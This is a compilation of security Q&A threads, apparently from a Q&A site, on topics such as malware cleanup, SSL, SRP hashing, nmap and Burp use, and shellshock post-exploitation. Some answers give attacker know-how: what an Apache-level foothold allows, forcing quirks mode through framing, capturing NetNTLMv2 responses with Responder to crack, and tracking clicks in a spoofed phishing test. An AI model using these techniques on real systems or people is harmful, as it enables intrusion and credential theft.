I forgot to mention: The .lnk shortcut is linked to 'rundll32.exe' and opens the null-named folder that contained the original content of the partition.

First open the command prompt ,cd to particular partition  and run this

attrib -s -h /s /d *

Then you need to open that partition using windows explorer. You must not double click on hard disk. Use left pane and navigate to particular partition.

Then delete all other files in your hard disk that you do not need. Do same for C drive.

If you can not delete some files

Start -> run

type 'msconfig' and enter

Stop all services and restart and do the all above steps.

Finally you need to edit your registry. follow below steps

go to run
type regedit.
go that path:- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\Folder\Hidden\SHOWALL
4.Look at the CheckedValue key( in right side).This should be a DWORD key. If it isn't, delete the key. Create a new key called "CheckedValue" as a DWORD (hexadecimal) with a value of 1.

Restart your machine... This should work.

FYI

start -> run
gpedit.msc

And TurnOff Autoplay for all devices. This will help you to protect from viruses.

And do not double click on hard disks. Always try to use explorer


Is there a pentest standard for a web application to nominate it as "secured"? I would like to find a free or paid service which will test my web application and declare whether it's secured or not. Is there such thing which is acceptable by the community or some corporate business units?

I want to know if there is such standard that gives a recognition that my web application is secured

There is no such "standard". There are various vendors offering services to check your site for vulnerabilities and then allow you to put some seal on the site to show that you've passed there checks. But, the quality of the checks they do is often very limited (depending on what you pay) which means that these seals should not really be trusted. Apart from that anybody can put an image of such a seal on their site even if the site was never checked or just invent their own trust seal to make the site look more trustable.

See also Sites certified as secure often more vulnerable to hacking, scientists find.

If you really want to make sure that your site is mostly secure hire a penetration tester with a good reputation, give him enough time, money and information to analyze your site and follow his advice in securing the site. Better yet, get the help of such testers and security consultants already in the design phase of your web application so that your developers are aware of the problems and build the security into the design of the application instead of trying to add security on top of an inherent insecure application later.


iPhone\Network Security A client of mine is concerned someone is retrieving data and intercepting text-messages from his iPhone and his home network. He has told me that he has seen one of the text-messages he sent to his mother on his neighbors phone.

They have been sharing their wireless for sometime but not any more now that he's changed the password.

I am currently suggesting the following:

Reset Wireless Router Configuration,
Disable SSID Broadcast,
Implement MAC address filtering

But I would like some other suggestions preferably surrounding securing his iPhone text-messages from spoofers and other forms of interception. If it helps, he has a non-jailbroken iPhone 4.

To the best of my knowledge there's no actual way to block receiving a spoofed SMS message on any cell phone. I used to play around with it a long time ago and we never found a way to do it.

Intercepting text messages is considerably more difficult, if you're dealing with an attacker who's capable of this, then you'll probably need to hire a professional counter surveillance expert (or ask us experts specific questions if you're capable of doing it yourself). The obvious suggestion is to use encryption between contacts if its important but this is tricky to do.

In addition to implementing the router config settings you've suggested, make sure it doesn't have WPS PIN setup/mode enabled. Make sure you apply something like WPA2-PSK in terms of security on the network as well, the other methods you've mentioned only act as hindrance to an attacker and are relatively easily bypassed.


Can all of Facebook's data be wiped out? Is there a possibility that Facebook's entire data could ever be wiped out by a team of malicious individuals or even a government? Remotely or physically.

If so, how do you think they would go about doing it and what sort of safeguards does Facebook have to address both a remote attack or a physical attack on its data centers ?

I want to highlight some points in response to your question and according to my best knowledge. Anyhow to give a more appropriate answer, need your question more specific.

In both cases

1) The risk factor remains everywhere. Even if something has 0.1 percent chance of bad happening, it might happen... “Risk theory”

2) Facebook is a huge company with large research and development sector. Surely, they have appropriate arrangement of data loss recoveries and to prevent hackers to wipe out their data.

3) Every process take some time so if such kind of activity starts happening, their immune system will detect the anomalies and take appropriate actions before a huge loss happens.

4) Even scrapping Facebook public data for research purpose requires proper legal permissions. They have checks for such activities.


What is the point of escaping an interpreter's sandbox? Assuming that the attacker already has code execution (which is the case of every interpreter sandbox escape exploit I know of), couldn't he just use a function/method (like Runtime.getRuntime().exec() in Java or os.system() in Python) to execute any shell command in the context of the user that is running the interpreter?

What is the point of searching for a difficult to find native vulnerability in a complex, sometimes closed source program and developing an exploit that has to bypass multiple mitigations to achieve the same result (probably with a non-100% reliability)?

Consider JavaScript. Most web pages these days serve some JS. Your browser executes this JS, without any user prompting or other permission (unless you use an extension like NoScript), any time it loads a page that contains script. The browser's JS engine is extremely powerful; you can (for example) emulate an entire x86 Linux computer in it. It can also define classes, pull in external scripts, start background workers, and so on. Yet this is, for the most part, safe to do, because the browser sandboxes JavaScript. You cannot, without a sandbox escape, do things like "modify the user's documents" or "deploy something malicious such as ransomware" or "get a shell on the OS running the browser".

Another example, relevant to your examples, is the Java applet sandbox. Java applets are rarely used today (partially because people kept finding sandbox escapes for them, so it wasn't safe to enable!) but for a while they were quite popular because they let you do stuff that was both much more advanced and somewhat faster than the JS engines of the day (and they let you write code in Java, which even then was much more mature than JS). Applets are made of Java bytecode and execute using the JVM, same as any other Java application. The difference is, they are sandboxed so that they can only do things considered safe for a web page to do. For example:

  • They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.

  • They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).

These protections mean that code running in an applet cannot simply invoke Runtime.getRuntime().exec(); even though that class and functions exist in the JVM, and can be called from normal Java apps, trying to call them from a sandboxed applet would through some kind of SecurityException. If you want to do that without getting an exception (for example, to run some malware), you need to escape the sandbox.


Does the hash change the security of the Secure Remote Password protocol? I'm implementing the Secure Remote Password protocol, and similar to this question, I'm wondering if I can use the SHA-512 hash function instead of SHA-1 currently being used. Would this help improve the confidentiality of the Key?

 M = SHA1(A | B | Key) -->
                <-- SHA1(A | M | Key)

I think it is fine to use SHA1 in SRP.  SHA1 is fine for these purposes.  Using SHA1 won't hurt the confidentiality of the key.

Some people say that "SHA1 has some weaknesses".  However, those weaknesses are relatively minor, and in any case, they affect only SHA1's resistance to collision attacks.  Those attacks don't affect or endanger SRP, since SHA1 isn't relying upon SHA1's collision-resistance.  Changing to a different hash function isn't likely to improve the confidentiality of the key.  For a more detailed discussion, see Section 3.4 of RFC 5054, which discusses the use of SHA1 in the SRP protocol.

I'm a bit leary about making changes to a cryptographic protocol, on general principles.  Cryptographic protocols are tricky and little details can make a big difference to security, especially password-authenticated key agreement protocols (where the exact bit layout of some fields can be important to security).  My suggestion would be to find an existing, well-vetted specification that gives a complete specification of the SRP protocol, and adopt that exactly.  Making changes has the potential to introduce subtle security weaknesses.

However, if you wanted to change the hash function in the way you outlined, I think that would be a relatively reasonable, low-risk change.  In fact, Section 3.2 of RFC 2945 (a specification of SRP version 3) does say it is OK to change SHA1 to another cryptographically strong hash function, so changing the hash used in the key confirmation step to SHA256 or SHA512 would probably be OK.


Escalating from Apache shell to root I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too much privileges, so I think there is no way to anyone can get access to root account or to do anything wrong on system. Am I right?

You are right that you gain access to the UID of the process/script you exploited. In the case of the Apache identity with no mandatory access control and no proper separation of developer and apache roles, you can:

destroy or deface the websites run by your Apache
change websites' code to leak all the user database at a fixed URL that you can then consult
add malicious scripts to pages to serve malware to the site's visitors
host your own websites (e.g., to grow the command and control infrastructure of your existing botnet)

With a basic mandatory access control (e.g., SELinux/AppArmor) policy that does not separate the Apache admin role from the actual process (typically, which allows the domain that runs the actual Apache binary to write to apache_*_t files) and with a read-only access to web code you can probably:

alter the configuration of Apache?
shutdown the existing Apache process (since it runs with your UID) and start a new one with your new configuration

And probably a couple of other things... Here you don't care at all about the OS in itself, you care about the ability ot host content, steal data and alter existing and visited websites. The security you retain post-exploit really depends on how well you compartmentalised your OS in the first place.


What happens when you SIM-unlock a cellphone In the UK the process for unlocking a mobile phone (cellphone) usually involves either buying an "unlock code" from ebay which you then have to put into the phone to unlock it, or taking the phone to a back-street phone shop (where I presume they just generate the same code and enter it for you). Either way it seems to take several minutes to generate the code.

The phone does not have to be present to generate the code (just the IMEI number is needed), so the unlock process isn't reprogramming the phone itself. I first thought it was brute-forcing some kind of security key, but this doesn't seem tenable because the manufacturers could simply increase the strength of the key and render this impossible.

It seems that unlocking must be done with the manufacturers consent, but why does it take so long and why does it only seem to be available via the grey market.

What I'd really like to know is what is the technical process behind generating the unlock code. Can anyone throw any light on this?

The phone's manufacturer does some crypto (most likely an obscure and proprietary algorithm) in order to derive a NCK code (unlock code) from the IMEI and presumably a secret key, and that code toggles something in the mobile phone modem to disable a whitelist of allowed networks, so the phone is now considered SIM-unlocked.

For the iPhone, NCK codes were (are?) used as well internally but the process was as the unlock request goes through Apple and the user himself isn't prompted to enter the code. Instead the phone will get it automatically from Apple the next time it's activated (along with the usual stuff it gets during activation like client certificates for notifications and iMessage). Apparently this has changed and SIM-locking is now enforced by the OS rather than by the modem; the allowed networks are now defined in a WildcardTicket, a configuration file received from Apple's servers upon iPhone activation.

I'll leave it to someone more experienced to provide more details and possibly tell which algorithms are used to generate these codes.


Can an attacker force a browser to use quirks mode to render a page? During a pentest, I've found a potential vulnerability on a web page, but it can only be exploited in quirks mode.

The page starts with <!doctype html>, which triggers standards mode so at first glance, it isn't exploitable.

Are there some techniques an attacker could use to force quirks mode, even when standards mode have been enforced with a standard doctype?

Potentially, yes. If the page supports being framed (that is, it does not have a prohibiting X-Frame-Options header, or similar), then you can frame it in a quirks-mode page, and at least some browsers (IE up to at least version 9, possibly IE11, possibly others) will use the same rendering mode for the parent page and its sub-pages. The normal render mode detection (based on doctype, etc.) will not be used on the framed pages.


Replacement for DVL (Damn Vulnerable Linux)? I've recently spotted that DVL (Damn Vulnerable Linux) has gone inactive. My first question is what happened to cause them to stop releasing it?
Secondly, I have found some references to other testing environments, but was curious if there was an official/unofficial replacement for DVL that provides a large test bed for pentesting learning?

There are stacks: Metasploitable, DVWA, BWaPP, Mutillidae, WebGOAT (although the last few are vulnerable web apps).

There is also Hack.Me, a community project where people upload vulnerable sandboxes for others to practice against.

26/10/17 Edit to add: Vulnhub is a great resource for vulnerable & practice VMs. Meant to add this ages ago, apologies.

Troy Hunt has an online vulnerable web app to test against: http://hackyourselffirst.troyhunt.com

Alternatively, you could pay for access to Muts' student network (the gang that have released Kali - Offensive Security is the thing to search for.

There's loads of them around :)


How do I prove for my client that unused ports are closed and unused services are disabled? I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this?

I need to accomplish this in a realistic amount of time, using realistic resources, so please also let me know if there is no such method and why. Please also assume I am using both Linux and Windows servers, and that these are kept up-to-date with the latest patches.

Do a full scan of the target machine's IP address with Nmap from LAN or Internet:

nmap -p- 12.34.56.78

If you've closed all the unused ports, then you'll see that in the scan result.

Edit: It would look like this:

Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-29 11:26 CET
Nmap scan report for abc.com (12.34.56.78)
Host is up (0.030s latency).
Not shown: 65531 filtered ports
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
443/tcp   open  https
21235/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 277.06 seconds


How to configure proxy settings of cellular internet for burp I am pen testing an android app and using tethering to connect my phone to my laptop. I configured the access point settings as proxy = ipv4 address of my laptop and port = port on which burp is listening on all interfaces. Burp was intercept the requests some days before but now it's not intercepting. It happpens sometimes that the settings work and sometimes just don't. What should i do?

The cellular issue when testing mobile apps does make them a little tricky to test. Some app's are aware of when they are communicating via the telecommunication provider directly and in some cases will behave differently when connected. some very old app's had a horrible pattern of sending data securely when sending data via 802.11 (using IPv4) but would send data over the cellular network (frequently via IPv6) in cleartext.

I've also seen issues where the app developer considered the telecommunications network to be encrypted when it simply wasn't.

Additionally apps created by the telecommunications providers frequently do this.

If you trust the app to behave normally you can use the Android Debug Bridge:

http://developer.android.com/tools/help/adb.html

see

http://www.mcafee.com/us/resources/white-papers/foundstone/wp-pen-testing-android-apps.pdf

However if you don't trust the device to behave properly, or you're more paranoid, you can setup a cell phone signal booster running linux and put it and the phone/device into a faraday cage style evidence bag (faraday bag) or box then use IPTables to redirect all traffic out of the bag via a physical ethernet cable to a system running your proxy. Some faraday bags and signal boosters are very inexpensive.

The primary advantage of this is you capture the data going over the telecom network side and not just what would be sent via 802.11. Likewise similar configurations with different antennas/equipment could be used to test NFC, bluetooth or any other wireless protocols the device may support.

@Lucas Kauffman just reminded me to mention that all RF equipment including things like cell phone boosters may be subject to your local laws and depending on where you are they may be illegal.


Using Free AV to meet PCI Requirement 5 I am looking for some opinions on using free AV for meet PCI requirement 5. The way I read this for version 2.0 is that it's entirely possible for a client to meet their AV needs with the modern free versions.

With the expansions 3.0 it appears that sites will need a full blown AV product unless there is a product out there which has the policy controls ( I don't know of any free ones).

Anyone have clients running free AV and meet this for 2.0 or 3.0?

There isn't anything inherently wrong with using a free antivirus product for PCI, but you really need to consider your centralized logging. You can't keep the logs for your antivirus strictly on the local workstation and meet the retention requirements.


How is an SSH public key fingerprint calculated? I have a public key as the following 64 bytes encoded string

AAAAB3NzaC1yc2EAAAADAQABAAABAQDapfZSmaVBZimVC7YAsISc+fKzuhbVmmbJNYELWov4ZVbdbFxf790xC0sKQTmbe1iDt25DdsandggApKZh6yvWD0Li5RV+h5wV6chTNwOUe6A7Q4Y4nbMozxTzT0vpMOzZv8+RffzbSnS9GVin/4BACnih10tYzwgCe6y3ei3E5hytSGMkviYIcRQ5x4W2KgSa+BXRSGnpYU69u/b/uF7KDaIhcMqenZBy5YKt4nBYnbKFAgUk/yZRrPq9knVqXO+cQ3ZZlF1KNnrx+o3oR9OqtgjqFyXMyFIiT4oqtXXiVNmoc5C+kg7pDxR4Fcr15xTJpZl8kc8qt+WS5QpLgJjT

when I do a sha256 digest in python and print the result in base64 like this:

sha256 = hashlib.sha256()
sha256.update(plaintext.encode())
hash_sha256 = sha256.digest()
print(base64.b64encode(hash_sha256))

I get a different fingerprint than when I do

ssh-keygen -lf key.pub

I thought the sha256 fingerprint was just the sha256 of the public key... I tried also adding exactly what's in the key.pub file, that is:

ssh-rsa ... user@host

but I also get a different result

So how exactly is the fingerprint calculated? The same applies to MD5?

Unfortunately you did not show the full code, i.e. did not make clear where plaintext in your code comes from. My guess is that you did not decode the base64 encoded public key first but just fed the encoded key directly into the digest. The following works for me:

b64pubkey='AAAAB3Nz....'  # base64 encoded public key
sha256 = hashlib.sha256()
sha256.update(base64.b64decode(b64pubkey))
hash_sha256 = sha256.digest()
print(base64.b64encode(hash_sha256))


open relay test discrepancy nmap smtp open relay test shows (verbose mode):
smtp-open-relay: Server is an open relay (2/16 tests)
  MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT TO:<relaytest%nmap.scanme.org@XHS5P>
  MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT TO:<"relaytest@nmap.scanme.org">
  MAIL FROM:<antispam@[xxx.xxx.xx.xx]> -> RCPT

xxx.xxx.xx.xx being host IP
Previous tests through mxtoolbox:
MAIL FROM:<supertool@mxtoolbox.com>
250 2.1.0 supertool@mxtoolbox.com....Sender OK [703 ms]
RCPT TO:<test@mxtoolboxsmtpdiag.com>
550 5.7.1 Unable to relay for test@mxtoolboxsmtpdiag.com [696 ms]

According to mxtoolbox, my host is not an open relay smtp
My question:

can I consider nmap test unreliable?

In order to check, nmap results I made a few test myself using nmap output
Here's what I got:
HELO
250 XHS5P Hello [yy.yy.yyy.yyy]
MAIL FROM:<tester@bogusyyyyyw.com>
250 2.1.0 tester@bogusyyyyyw.com....Sender OK
RCPT TO:<"relaytest@nmap.scanme.org">
250 2.1.5 "relaytest@nmap.scanme.org"@XHS5P

status code 250 2.1.5 means: email has been accepted
So, nmap was right. But I still believe it was not, since perhaps it has to do with the the fact that
the recipient has double quotes
Can someone help me to figure out if my host is an open relay?
thanks a lot

nmap tests with uncommon kinds of email address specification where it explicitly tries to bypass filtering. mxtoolbox instead just checks with the common kind of address. Still, both only check the result of RCPT TO. While a failure at this stage indicates that the address is not accepted, it will still be possible to reject the mail at a later stage of SMTP too.
One can only be fully sure that this is an open relay if one is able to actually deliver a mail through the server and then receive this mail. Similar one cannot be sure that this is not an open relay if a single attempt failed - it might still work with a different address format, with a different sender or from a different IP.
Still, based on the result from nmap you better look into the configuration of the mail server to find out why it accepts these addresses. It might be fine if the mail will be rejected at a later stage but it might also indicate a problem.


Why don't web email clients put emails in an iframe? I figured clients like Gmail.com and Outlook.com would put emails into an iframe for extra security, but it turns out they sanitize heavily with something like Caja.

But is there any particular reason they wouldn't use iframes, which would at least help sandbox it a bit?

(Caja, for example, had a vulnerability found just a few months ago - and I think this vulnerability may have been mitigated by placing emails into an iframe)

TL;DR iframe cannot replace sanitization completely, but is a great feature to use as security in-depth.  Unfortunately, it does get in the way of some user-friendliness features.

I would be interesting in hearing a more informed answer, but I'm going to post some points I'm aware of.

Same Origin Policy works both ways. It's great that it keeps the iframe from seeing the outer document content. Unfortunately, if you select text, the outer document cannot tell what text was selected in the iframe. (thanks @paj28) Once could use postMessage feature by adding script to the inner page to work around this, but it is inconvenient. Furthermore, this will not work if you use iframe sandbox as a way to disable scripts. (which I would highly recommend)

You will want to use Content Security Policy (again, thanks @paj28) to disable beacons within the iframed content; and also to disable scripts and other potential issues.

I'd like to point out that iframe as originally designed is not complete. The sandbox attribute would be must if you have any doubt in your sanitization. Unfortunately, the sandbox feature was only recently implemented. This is of diminishing significance as older browsers start to drop off the charts.

Disabling scripts would get in the way of user-friendliness features anyway such as detecting selected text. (It is possible you could get away with 'disable scripts and treat as same origin' rule of sandbox, but that seems risky.)

Any time you add your own scripts or interactive functionality to the iframe'd document, you will be much safer if you still sanitize that document. While iframe sandbox combined with CSP may cover you completely, there might be something missing from that formula.

So in summary

For browsers that don't support sandbox, the iframe mitigates significant security risks, but is unable to protect against many issues. Content Security Policy might be able to isolate the content, to a great extent. But you still need to sanitize to prevent things like <a target="_top".
For browsers that do support sandbox, combined with a good Content Security Policy, you might be able to replace sanitization, but it is not advisable because it is hard to know for sure whether you are 100% secure. (sanitization routines on the other hand are older and better vetted)
If you have sanitization (which you probably should), and the sanitation is well vetted, then iframes only get in the way of user-friendliness. On the other hand, if a flaw is discovered in your sanitization, then you will be glad you iframed the content, using the sandbox attribute and CSP to reduce the scope of the attack.

Side note: desktop applications have more liberty in sandboxing their webviews, even better than the iframe sandbox attribute. So, for example, the Android apps could benefit.


What are the insecure Protocols in terms of PCI DSS What are the insecure protocols which should be disabled according to PCI DSS standard.

How to check those are disabled in Firewalls and Servers.

Basically any protocol that does not provide authenticity, integrity and confidentiality. In practice this means FTP should be FTPS or SFTP, telnet should be SSH, POP3 should be POP3S and IMAP should be IMAPS.

It's important to disable all the other protocols and not just provide a secure alternative. The encrypted protocol should provide strong cryptography. Any communication sending sensitive card holder data across the public network should use an encrypted channel such as SSL/TLS or for instance IPSEC.


How secure could the LastPass Android application be with a four-digit PIN? I use LastPass for Android with the PIN option. After having entered my full Lastpass password the first time that I used the app, now when opening the application I have access to all my passwords just by entering a four-digit PIN.

How secure can this be? Where might the data stored such that it is accessible by PIN only? Is it likely that the passwords are stored on the Android file system unencrypted? Perhaps the passwords are stored on the Android file system encrypted with the PIN as a key?

I am concerned that if the user could access the data with a four-digit PIN, then so could an attacker. I am concerned about an online or otherwise electronic attacker, not physical access to the device. Note that the device (Samsung Note 3) is not yet rooted, but it likely will have a custom ROM installed on it sometime in the future.

Short PIN codes are a serious hindrance for attackers only in online dictionary attack contexts. The distinction is the following:

Online dictionary attack: for each potential password/PIN code, the attacker must try it against an honest system (server, running app...).
Offline dictionary attack: the attacker could obtain some data (hashed value, encrypted file...) allowing him to test potential passwords/PIN codes on his own machine.

Offline dictionary attacks are a lot more powerful since they can run at the full speed of the PC that the attacker cares to put to the task. Conversely, online dictionary attacks can be thwarted by the "honest system" responding only slowly, or even refusing to respond after too many failures. This is the model of smart cards: they lock up after 3 (or 5 or some other configurable value) wrong PIN codes.

In the case of LastPass, the theory is that you should maintain the physical security of your device (don't allow your smartphone to be stolen); the PIN code is just an extra protection for "casual attackers" who would try to get to the passwords in an online dictionary attack context (i.e. the attacker is a "friend" who temporarily borrows your smartphone but wants to remain discreet, and hence will not open it up to access the files directly).


How secure is MongoDB wire protocol? I'm building a JavaFX 2.0 standalone application (it'll be distributed as an .exe) and it opens a connection to a MongoDB instance.  The connection is just a standard Mongo connection using the Mongo wire protocol.

Is the Mongo wire protocol secure enough, or could users examine it to see the data being passed back and forth?

Mongo database connections will be able to use SSL at some point in the future, but that isn't available yet.

Instead, should I use a REST web service for data access with SSL?  The direct database connection is quite a bit faster so it would be great if I could keep that, but also not have big security problems.

Just for your information. Giving a direct database connection in a client side application is a bad idea. Build a RESTful interface which allows for correct authentication and input validation. This will allow you to have a stricter control on what your applications can access.

The problem is that currently MongoDB doesn't offer SSL encapsulation. This means that in itself, the wire protocol can be eavesdropped upon (the data sent over the protocol is exposed). So if you are running this protocol non-locally (so across a network) then yes it's not secure, but not because the protocol itself is insecure, but because the implementation currently can't guarantee confidentiality or integrity due to the lack of encapsulation.

However you can fix this by encapsulating the protocol yourself. If the protocol doesn't offer SSL you first make a tunnel and send the protocol through that tunnel. For instance you make an encrypted VPN between your webserver and MongoDB and through this VPN you send the wire protocol connection (note that you should use a secure  VPN protocol). Preferably this is implemented so that you have end-point encryption.

This will disallow eavesdroppers from sniffing your wire connection.


What keeps the private key safe if an attacker has both clear and encrypted copies of a message and the public key? Let's say someone obtained a message in both clear text and in its encrypted copy with asymmetric cryptography, like RSA-2048. He also has the public keys.

Is the private key still undiscoverable? If yes, what property makes it so?

What you describe is known as a "known-plaintext" attack -  an excellent answer to this question can be found on the crypto stack exchange:

https://crypto.stackexchange.com/questions/6624/is-a-known-plaintext-ciphertext-and-public-key-a-viable-attack-on-rsa.

Short and straight: it is not possible.


If whatsapp has end-to-end encryption, How does it fight spam? I was just going through whatsapp Terms and Service here:
https://www.whatsapp.com/legal/ and found that they may work with Facebook to fight spam etc. How is it possible when Whatsapp servers cannot decrypt any messages.

Not a WhatsApp specific answer (as I don't know the details there...) but you can implement a spamfilter directly on the client, as the client can legitimtely access the content of the message.

This is what local email spamfilters have done for decades now.


What hashes does responder capture? I wanted to play with Responder. So I installed Kali onto a virtual mashine and made a bridged connection, so that Kali and the host (Win7) share the same network interface.

I changed the Win7 password to "password1" and tried to access a non-existing resource like "\\fielshare". The Responder seems to capture the credentials properly, but I don't understand, what hashes it is capturing.

Per try it captures five different hashes. When I try several times, the hashes never repeat. None of them equals to the Win7-hash corresponding to "password1". So what are they?

I'm using the command responder -I eth0 -v

Responder captures NetNTLMv2 responses. You then need to use something like hashcat to crack them, and if your wordlist is good, you will then be able to get the password.

The hash of the response will not match the hash of the password itself, because it contains more information than just that password, such as the server nonce.

See this zone13.io post for some more information. The cracked response with the password visible looks like this:


Where does SSL encryption take place? I checked the data transmission of an HTTPS website (gmail.com) using Firebug. But  I can't see any encryption to my submitted data (username and password). Where does SSL encryption take place?

The SSL protocol is implemented as a transparent wrapper around the HTTP protocol. In terms of the OSI model, it's a bit of a grey area. It is usually implemented in the application layer, but strictly speaking is in the session layer.

Think of it like this:

Physical layer (network cable / wifi)
Data link layer (ethernet)
Network layer (IPv4)
Transport layer (TCP)
Session layer (SSL)
Presentation layer (none in this case)
Application layer (HTTP)

Notice that SSL sits between HTTP and TCP.

If you want to see it in action, grab Wireshark and browse a site via HTTP, then another via HTTPS. You'll see that you can read the requests and responses on the HTTP version as plain text, but not the HTTPS ones. You'll also be able to see the layers that the packet is split into, from the data link layer upwards.

Update: It has been pointed out (see comments) that the OSI model is an over-generalisation and does not fit very well here. This is true. However, the use of this model is to demonstrate that SSL sits "somewhere" in between TCP and HTTP. It is not strictly accurate, and is a vague abstraction of reality.


Potential issues with a HTTPS to HTTP conversion I am experiencing an issue with certain emails coming from exterior services such as yahoo, and google. Specifically that requested resources can only be accessed via SSL. I found the following information on potentially resolving the issue. https://tusksoft.com/blog/posts/9/how-to-force-pages-to-not-use-ssl-in-asp-net-mvc-by-creating-a-forbidhttpsattribute

The author mentions that there are potential issues with reversing the operations of a forced HTTPS operation to allow conversion to HTTP. Can anyone please expand on these potential issues? I am curios, because this could resolve my current issue, but I do not want to create any potential vulnerabilities without understanding them more thoroughly, or preventing them entirely.

Update: to clarify the question a bit more. I am asking specifically about the potential types of threats that could be passed over a non HTTPS connection on a public facing site.

The issue that they're referring to is sensitive cookie exposure, in particular, cookies that contain an authentication or session token.  In this case specifically, you should never force an authenticated user to HTTP, and allow them to remain authenticated.  This used to be a common practice, even among very large web properties until a tool called Firesheep demonstrated how catastrophically unsafe it was.

So, if you use authentication or session cookies to identify specific users, or cookies that contain any sensitive data, those cookies should be marked with the "secure" flag, which will prevent them from being sent alongside HTTP requests, and limit them to HTTPS requests only.

Generally speaking though, in this day in age, there aren't many good reasons to do this in any case.  I'd think long and hard about forcing HTTPS to HTTP, and prefer protecting everything with HTTPS whenever possible.


How does an IDS identify a computer ? How does an IDS identify a computer on the network. I mean do IDS' actually check whether a device is actually what it claims to be ? If so what factors does it check (MAC etc) ?

For e.g. if a device was banned from the network due to malicious activity (My friend claims that when he tried ARP spoofing in his college; his laptop was banned from the network and he was caught). How does the IDS keep track or identify the device when it re-enters the network ?

First of all realize when talking about an IDS we are talking about a passive device. With a passive device they commonly log/alert and nothing else. On the other hand if this device was an IPS that is where the active "shunning" blocking or whatever else it was built to do happens.

Much like anti-virus technologies there are two types of network sensing  technologies signature based (e.g. Snort), and heuristic based (e.g. Fireye kinda!).

As for detecting anomalous activity at layer 2 it is uncommon for the IDS/IPS to usually take care of this. This however does not mean that something on the network else could monitor this instead. That something is usually a NAC (Network Access Control) solution (e.g. FreeNAC) and it is possible there is a suite of tools that may run together with the IPC/IDS and does this but as a different part of a product (see palo alto).

With all that said at the internet touch points there are many ways to passively finger print a device based of its traffic. In fact Nessus actually does this very good, and additionally, if you have ever played with pOf you have already done this yourself. Things like web requests, smb connection attempts, and other bits of traffic help those systems pull together quite a bit of information passively.

See this Nessus page explaining more.

http://www.tenable.com/blog/enhanced-operating-system-identification-with-nessus


Freelance security work What types of jobs within IT security lend themselves best to freelancing or working remotely, as opposed to being a standard office job?

Anything in the consultancy side of the field will leave you at home some percent of the time.   That favors jobs such as security audits/assessments, penetration testing, or security design work.

When consulting, you'll spend some percent of your time at the client site and some amount of time in you home office.  The trade-off is that travel to the client site can be more painful than getting a regular job in the office 45 minutes down the road.  Some jobs may be 10% client location, others may be 90%.  Some travel may be local, some may be on a plane, depends on the consultancy's clientele.

Consulting can be great, and it can be terrible, but it sure does present an alternative to a standard office job.  You can see a lot more, learn a lot more, and have a totally different accountability profile (it's not how often you're at your desk, it's how good and how timely your deliverables are).  If you're smart, flexible, and willing to work hard, you can get some rewarding years out of it.

I do agree with @Robert David Graham, standard jobs security haven't caught on to work-at-home yet.


PHP assert code injection Not sure if in this case if it is possible to inject malicious code in $entityId and if it will be processed by php.

$entityId = $_GET["name"];

public function getMetaData($entityId) {
   assert('is_string($entityId)');
}

Note that using string as the assertion is deprecated since PHP 7.2.

PHP assert

The assert function will be called with one static parameter, the string is_string($entityId).

Thanks to the usage of single quotes, $entityId won't be interpolated, so an attacker won't be able to execute any PHP code.


Random pages getting created on classic asp site In the file structure of my site, I see some randomly generated files like 'justinbieber.asp', 'justinbiebershoes.asp','guccishoes.asp' etc. I tried deleting them but they are generated again. Can anybody tell me the cause of this? Is my site hacked? How do I get rid of these files forever?
Edit:
I found a site which also has the page called burberrybags.htm. A page named 'burberry.asp' is also getting generated for my site. If you check the site I mentioned it has nothing to do with bags. It is a site of a company that deals in metal scraps.

It could be that your site has become a victim of attackers and that it has been compromised. The best way to deal with this is to take down your website completely (shut down the webserver as it might be used for malicious intent) and restore backup from when you knew it was not compromised.

Before putting your site online again find out how the attackers managed to get into your site or how they managed to produce these files. I suspect you have a vulnerability in your webapplication or in your webserver.

If this is a shared environment contact your hosting provider.


Tracking click-through for organization-wide phishing email test My organization wants to send out a test phishing email to all employees after a week of security awareness.

I plan on drafting a basic HTML page and including a misspelled link to it in an email with spoofed headers and intentionally incorrect email addresses to see if employees are wary enough to click or not.

I was also planning on embedding IP tracker URLs to track if employees actually clicked the links or not.

Is there a way I can track individual users who click links by attaching their email address to a list?

I originally was planning on using a basic free IP-logger online such as https://grabify.link/ or https://blasze.com/, but this will only track  specific IPs and log them. I want to ideally track the number of times the link is clicked and, if possible, grab the email address the phishing email was sent to.

For example, if john@company.com clicked the link, it would tell me John clicked a link.

If alice@company.com clicked the link in my email, it would tell me that Alice opened my link.

Any ideas?

You could generate a unique link per user like this:

http://server/?userid=[md5hash of username]

Next you can make the index.php at the webserver log all entries of userid.
Or you could check webserver logs to see which userid's have tried to connect.


Does it pose a possible vulnerability to publicly expose login username and server name in a public Github repo? We have a continuous integration server, for which a recent coworker who joined the team has put details (login name and server address) in his public Github repository.

The server ssh configuration only allows public key authentication and the coworker refuses to take down his information from the public Github repo, saying it is not a threat because the security of ssh is good enough.

I know that since we have disabled password authentication, it does not immediately result in a vulnerability, but still I did not want to give a potential adversary the following information:

The login username on our CI server
The ip of the CI server itself
The fact that coworker is using lastpass to store his secret keys
The fact that he has published his lastpass login address to his public repo itself

(The public repo is basically his configuration repo which he uses to set up his machine).

Since he refused to take down the info, I proposed to at least make sure that our CI server is behind a VPN server and we have done that. However I still believe that it is a violation of security in depth to provide this info to an attacker.

Am I being extra paranoid, or could there be real consequences of having this information publicly available? I am aware that some of this is security through obscurity, but I am thinking it would not hurt hiding this info anyway. I am assuming it could be useful in case of a directed attack, since it gives the attacker some info that he did not probably have access to.

You are not being paranoid. Getting internal information like usernames and passwords are part of information gathering which is done before breaking into systems. And especially with usernames and passwords it is common (but not recommended) to use the same or similar names and passwords to protect other resources, so these are valuable information.

But apart from that it is hard to take such published information back. The information are still in the git repository, even if they are not in the current HEAD. So you should at least make sure that none of these information or variations of these are in use on any of your systems.


How do we determine the SSL/TLS version of an HTTP request? We are wanting to configure our Windows client to use only TLS 1.1 and greater. We've learned that we can do this by editing the registry. Now we want to make several HTTPS requests from different applications and check to be sure that they all use TLS 1.1 and above.

